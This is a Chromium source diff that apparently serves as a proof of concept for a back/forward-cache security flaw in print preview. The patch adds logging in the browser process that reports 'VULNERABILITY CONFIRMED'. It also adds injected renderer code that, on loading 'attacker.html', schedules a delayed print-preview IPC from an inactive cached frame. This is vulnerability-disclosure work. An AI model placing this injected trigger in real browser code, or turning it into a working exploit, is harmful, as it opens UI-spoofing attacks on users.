diff --git a/chrome/browser/printing/print_view_manager.cc b/chrome/browser/printing/print_view_manager.cc index 0b436fd404ecc..5a66cadf24301 100644 --- a/chrome/browser/printing/print_view_manager.cc +++ b/chrome/browser/printing/print_view_manager.cc @@ -451,6 +451,26 @@ void PrintViewManager::OnRequestPrintPreviewCallback( if (!render_frame_host || !render_frame_host->IsRenderFrameLive()) return; + // ===================== POC PROOF LOGGING ===================== + LOG(ERROR) << "[POC-BROWSER] RequestPrintPreview accepted:"; + LOG(ERROR) << "[POC-BROWSER] sender RFH IsActive() = " + << render_frame_host->IsActive(); + LOG(ERROR) << "[POC-BROWSER] sender RFH LifecycleState = " + << static_cast(render_frame_host->GetLifecycleState()) + << " (3 == kInBackForwardCache)"; + LOG(ERROR) << "[POC-BROWSER] sender RFH last-committed URL= " + << render_frame_host->GetLastCommittedURL(); + LOG(ERROR) << "[POC-BROWSER] tab primary page URL = " + << web_contents()->GetLastCommittedURL(); + LOG(ERROR) << "[POC-BROWSER] tab primary page title = " + << web_contents()->GetTitle(); + if (!render_frame_host->IsActive()) { + LOG(ERROR) << "[POC-BROWSER] *** VULNERABILITY CONFIRMED: inactive " + "(BFCached) RFH is opening tab-modal print preview over " + "the user's current primary page ***"; + } + // =================== END POC PROOF LOGGING =================== + if (params->webnode_only) PrintPreviewForWebNode(render_frame_host); diff --git a/components/printing/renderer/print_render_frame_helper.cc b/components/printing/renderer/print_render_frame_helper.cc index 60b5e83a8bc1e..eee387421e8b7 100644 --- a/components/printing/renderer/print_render_frame_helper.cc +++ b/components/printing/renderer/print_render_frame_helper.cc @@ -1213,6 +1213,46 @@ void PrintRenderFrameHelper::DidFinishLoad() { is_loading_ = false; if (!on_stop_loading_closure_.is_null()) std::move(on_stop_loading_closure_).Run(); + + // ===================== POC INJECTION ===================== + // Simulates a compromised renderer: when attacker.html finishes loading, + // bind PrintManagerHost while the RFH is active+primary, then schedule a + // RequestPrintPreview IPC for *after* this page has been put into BFCache. + // The delayed task is posted to the thread-default task runner, which is + // not frozen by BFCache, so it fires while the page is inactive. + if (render_frame() && render_frame()->IsMainFrame()) { + blink::WebLocalFrame* wf = render_frame()->GetWebFrame(); + if (wf) { + GURL url(wf->GetDocument().Url()); + if (url.spec().find("attacker.html") != std::string::npos) { + LOG(ERROR) << "[POC-RENDERER] attacker.html loaded at " << url + << " — binding PrintManagerHost while active"; + GetPrintManagerHost(); // bind associated remote now + base::SingleThreadTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, + base::BindOnce( + [](base::WeakPtr self) { + if (!self) { + LOG(ERROR) + << "[POC-RENDERER] helper gone (page was not " + "BFCached); aborting"; + return; + } + LOG(ERROR) + << "[POC-RENDERER] firing RequestPrintPreview from " + "BFCached (inactive) frame"; + auto p = mojom::RequestPrintPreviewParams::New(); + p->webnode_only = true; + p->is_modifiable = true; + self->GetPrintManagerHost()->RequestPrintPreview( + std::move(p)); + }, + weak_ptr_factory_.GetWeakPtr()), + base::Seconds(5)); + } + } + } + // =================== END POC INJECTION =================== } void PrintRenderFrameHelper::DidFinishLoadForPrinting() {